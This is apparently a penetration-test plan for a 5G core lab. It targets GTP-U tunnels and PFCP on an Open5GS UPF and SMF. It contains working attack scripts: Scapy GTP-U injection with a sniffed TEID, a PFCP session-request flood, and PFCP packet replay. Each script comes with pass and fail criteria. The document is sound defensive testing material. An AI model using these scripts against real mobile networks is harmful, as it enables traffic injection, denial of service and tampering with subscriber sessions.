TP-04_gtp_userplane
TP-04 — GTP & User Plane Security Tests
Domain: GTP-U Tunnel Security and PFCP
Standards: 3GPP TS 33.501 §5.10 · GSMA FS.40 v3.0 §5.7 · CVE-2024-51179 · CVE-2025-14953
Prerequisites: TP-00 complete; 5G SA lab running; active PDU session (TC-REG-01 passed)
TC-GTP-01: GTP-U Tunnel Injection (N3 Interface)
Threat Model
sequenceDiagram
participant UE as UE (10.45.0.2)
participant GNB as gNB (172.23.0.50)
participant ATK as Attacker (172.23.1.99)
participant UPF as UPF (172.23.0.30)
participant DN as Data Network (Internet)
Note over ATK,DN: THREAT VECTOR: Attacker on N3 segment injects packets\ninto active GTP-U tunnel using known TEID
Note over GNB,UPF: Legitimate GTP-U session established
GNB->>UPF: GTP-U Header: TEID=0xABCD1234\nInner IP: UE→8.8.8.8 (ICMP)
UPF->>DN: Forward decapsulated packet
Note over ATK: Attacker sniffs TEID from N3 traffic
ATK->>ATK: Craft GTP-U packet with valid TEID=0xABCD1234\nSRC: 172.23.1.99 (not gNB)
ATK->>UPF: GTP-U Header: TEID=0xABCD1234\nSRC: 172.23.1.99\nInner: Malicious payload
UPF->>UPF: Check PDR: TEID matches\nBut source IP ≠ gNB IP (172.23.0.50)
alt UPF validates source IP (secure)
UPF-->>ATK: DROP — source IP mismatch
Note over ATK: ✅ BLOCKED\nSource IP PDR rule enforced
else UPF only checks TEID (vulnerable)
UPF->>DN: Forward malicious packet
Note over ATK: ❌ INJECTION SUCCESSFUL\nAttacker can inject arbitrary traffic
endObjective
Verify UPF drops GTP-U packets from unauthorized source IPs even when TEID is valid.
Steps
# 1. Capture N3 traffic to find active TEID
sudo tshark -i br-$(docker network ls --filter name=ran -q) \
-Y "gtp" -T fields \
-e ip.src -e ip.dst \
-e gtp.teid -e gtp.message_type \
-c 20 2>/dev/null
# Note the TEID value from active session
# 2. Install Scapy if not present
pip3 install scapy
# 3. Craft GTP-U injection packet from rogue source IP
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header
# Replace with actual TEID from step 1
TEID = 0xABCD1234
UPF_IP = "172.23.0.30"
ROGUE_SRC = "172.23.1.99" # not gNB
# Craft packet: rogue src -> UPF, GTP-U with valid TEID
pkt = (
IP(src=ROGUE_SRC, dst=UPF_IP) /
UDP(sport=2152, dport=2152) /
GTP_U_Header(teid=TEID, gtp_type=255) /
IP(src="10.45.0.99", dst="8.8.8.8") /
ICMP()
)
print(f"Sending GTP-U injection packet:")
print(f" Outer src: {ROGUE_SRC} -> {UPF_IP}")
print(f" TEID: {hex(TEID)}")
print(f" Inner src: 10.45.0.99 -> 8.8.8.8 (spoofed UE IP)")
send(pkt, verbose=1)
PYEOF
# 4. Monitor UPF to see if packet was forwarded or dropped
sleep 3
docker logs open5gs-upf 2>&1 | tail -20 | grep -E "drop|inject|unknown|TEID"
# 5. Listen on external interface for any forwarded packets
sudo tcpdump -i any -c 5 -n "icmp and src 10.45.0.99" &
sleep 5
# Should see ZERO packets — injection blocked
Expected Results
- UPF drops packet from
172.23.1.99(not in PDR source IP list) - No ICMP from
10.45.0.99visible on DN-side interface - UPF logs: GTP drop or unknown source
Finding
If injected packet forwarded to DN: HIGH FINDING — GTP-U TEID-only validation; source IP not enforced.
Pass Criteria
Zero injected packets reach the data network. UPF enforces source IP in PDR.
TC-GTP-02: GTP-C Message Flood (DoS on SMF — N4 PFCP)
Threat Model
graph TD
ATK["Attacker\n(on N4 segment or UPF accessible)"]
ATK -->|1000 PFCP Session Est. Requests/sec| UPF["UPF\nPFCP Handler\nPort 8805/UDP"]
ATK -->|Malformed PFCP packets| UPF
UPF -->|Valid sessions| SMF["SMF\nSession Manager"]
UPF -->|Flood| RESOURCES{"UPF Resources"}
RESOURCES -->|CPU saturated| IMPACT1["⚠️ Legitimate PDU sessions\nresponse timeout"]
RESOURCES -->|Memory exhausted| IMPACT2["❌ UPF crash\nAll sessions dropped"]
RESOURCES -->|Rate limited| SAFE["✅ Flood absorbed\nLegit sessions OK"]
SMF -->|Monitors PFCP| ALERT["Prometheus Alert\nPFCP error rate spike"]
subgraph CVE["CVE-2024-51179"]
direction LR
C1["Crafted PFCP packet\nwith malformed FAR-ID"] -->|Triggers| C2["Null ptr deref\nin UPF handler"]
C2 --> C3["UPF process crash\n→ container restart"]
end
style IMPACT2 fill:#c0392b,color:#fff
style SAFE fill:#27ae60,color:#fff
style C3 fill:#c0392b,color:#fffObjective
Test UPF/SMF resilience against a flood of PFCP Session Establishment Requests; verify active sessions survive.
Steps
# 1. Establish baseline — active session
docker exec ueransim-ue ping -i 0.2 -c 50 -I uesimtun0 8.8.8.8 &
PINGPID=$!
# 2. Record baseline restart counts
NRF_BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
# 3. Generate PFCP flood using pycrate
python3 << 'PYEOF'
import socket
import time
from pycrate.core.utils import *
# PFCP Session Establishment Request — minimal valid structure
# PFCP header: version=1, FO=0, MP=0, S=0, message_type=50 (Session Est Req)
# Sequence number varies
UPF_IP = "172.23.0.30"
PFCP_PORT = 8805
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
count = 0
start = time.time()
while time.time() - start < 30: # 30 second flood
seq = count & 0xFFFFFF
# Minimal PFCP Session Establishment Request header
# Version=1, FO=0, MP=0, S=0, msg_type=50 (0x32), length=12
pfcp_hdr = bytes([
0x20, # Version=1, FO=0, MP=0, S=0
0x32, # Message Type: Session Establishment Request
0x00, 0x04, # Length: 4 bytes
(seq >> 16) & 0xFF, (seq >> 8) & 0xFF, seq & 0xFF, 0x00 # Seq + spare
])
sock.sendto(pfcp_hdr, (UPF_IP, PFCP_PORT))
count += 1
if count % 100 == 0:
print(f"Sent {count} PFCP packets...")
time.sleep(0.001) # 1000 pps
sock.close()
print(f"Flood complete: {count} packets in 30 seconds")
PYEOF
# 4. Check if active session survived
kill $PINGPID 2>/dev/null
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8 2>&1 | tail -3
# 5. Check restart count
NRF_AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restarts: before=${NRF_BEFORE}, after=${NRF_AFTER}"
# Must be equal (no restarts)
# 6. Check SMF
docker logs open5gs-smf 2>&1 | tail -30 | grep -E "error|crash|reject"
Expected Results
- UPF restart count unchanged (no crash)
- Active UE ping session survives (may have brief latency spike)
- SMF log shows PFCP error responses but no crash
- Prometheus shows PFCP error rate spike then recovery
Pass Criteria
No UPF restart during or after flood. Legitimate session maintained throughout.
TC-GTP-03: PFCP Session Modification Replay
Threat Model
sequenceDiagram
participant SMF as SMF (legitimate)
participant UPF as UPF
participant ATK as Attacker (N4 eavesdropper)
Note over ATK,UPF: THREAT VECTOR: Attacker captures PFCP Session Modification\nand replays to duplicate session changes
SMF->>UPF: PFCP Session Modification Request\n{SeqNum=42, SEID=0x1234, QER: 10Mbps→100Mbps}
Note over ATK: Attacker captures this message\nand stores for replay
UPF-->>SMF: PFCP Session Modification Response\n{SeqNum=42, Cause=Success}
Note over UPF: Session now at 100Mbps limit
Note over ATK: Step 2: Replay same message later
ATK->>UPF: PFCP Session Modification Request\n{SeqNum=42 — REPLAYED, same bytes}
UPF->>UPF: Check SeqNum=42\nAlready processed for SEID=0x1234?
alt UPF deduplicates by SeqNum (secure)
UPF-->>ATK: PFCP Session Modification Response\n{Cause=Request rejected — duplicate SeqNum}
Note over ATK: ✅ BLOCKED\nReplay rejected
else UPF has no replay protection (vulnerable)
UPF->>UPF: Apply QER change again\n(no-op if same value, but could be harmful)
UPF-->>ATK: Response: Success
Note over ATK: ⚠️ REPLAY ACCEPTED\nIf attacker crafted different QER,\ncould degrade/upgrade service
endObjective
Verify UPF/SMF reject replayed PFCP Session Modification Requests (duplicate sequence number detection).
Steps
# 1. Capture PFCP traffic during active session modification
sudo tshark -i br-$(docker network ls --filter name=ran -q) \
-f "udp port 8805" \
-w /tmp/pfcp-capture.pcap &
CAPID=$!
# 2. Trigger a legitimate PFCP session modification
# (Register UE, establish PDU session — SMF will send PFCP to UPF)
docker compose -f ~/open5gs-lab/5g/docker-compose.yml restart ue
sleep 15
kill $CAPID
# 3. Examine captured PFCP Session Modification Request
tshark -r /tmp/pfcp-capture.pcap \
-Y "pfcp.msg_type == 52" \
-T fields -e pfcp.seq_no -e pfcp.seid -e frame.len
# Note the SeqNum
# 4. Extract and replay the exact bytes
python3 << 'PYEOF'
import socket
from scapy.all import rdpcap, UDP
UPF_IP = "172.23.0.30"
PFCP_PORT = 8805
# Read captured PFCP packets
packets = rdpcap("/tmp/pfcp-capture.pcap")
pfcp_mod_pkts = [p for p in packets if UDP in p and p[UDP].dport == 8805]
if pfcp_mod_pkts:
# Take the first PFCP packet and replay it
pfcp_payload = bytes(pfcp_mod_pkts[0][UDP].payload)
print(f"Replaying PFCP packet: {len(pfcp_payload)} bytes, SeqNum check...")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sock.sendto(pfcp_payload, (UPF_IP, PFCP_PORT))
try:
response, addr = sock.recvfrom(4096)
cause = response[9] if len(response) > 9 else 0
print(f"UPF Response: cause byte = {hex(cause)}")
# 0x40 = Success, 0x41 = Rejected
if cause == 0x41:
print("✅ BLOCKED: Replay rejected by UPF")
else:
print("⚠️ FINDING: Replay may have been accepted")
except socket.timeout:
print("No response (may indicate rejection)")
finally:
sock.close()
else:
print("No PFCP modification packets captured")
PYEOF
# 5. Check UPF logs for replay handling
docker logs open5gs-upf 2>&1 | grep -E "duplicate|replay|SeqNum|reject" | tail -10
Expected Results
- UPF responds to replay with
Cause = Request rejected (unspecified)(0x41) - Or: no response (UPF drops duplicate silently)
- Session state unchanged after replay attempt
Pass Criteria
Replayed PFCP message rejected or ignored. No duplicate session modification applied.